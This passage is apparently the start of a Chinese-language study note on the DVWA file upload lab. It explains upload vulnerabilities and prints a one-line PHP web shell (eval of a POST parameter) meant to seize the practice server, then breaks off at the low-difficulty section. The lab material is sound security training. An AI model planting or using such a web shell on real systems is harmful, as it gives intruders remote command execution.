Dvwa之文件上传全级别学习笔记

文件上传

什么是文件上传漏洞？

文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的，“文件上传” 本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。

以上参考于以下链接，想了解更详细的文件上传漏洞内容的同学可以移步此链接

https://blog.csdn.net/qq_48904485/article/details/123645617

本次实验目标为利用上传的木马文件，获取目标服务器的权限，木马文件内容为：<?php @eval($_POST['cmd']); echo"小飞棍来了！"; ?>

本文为学习笔记，仅供学习

low

我直接给他上传个php一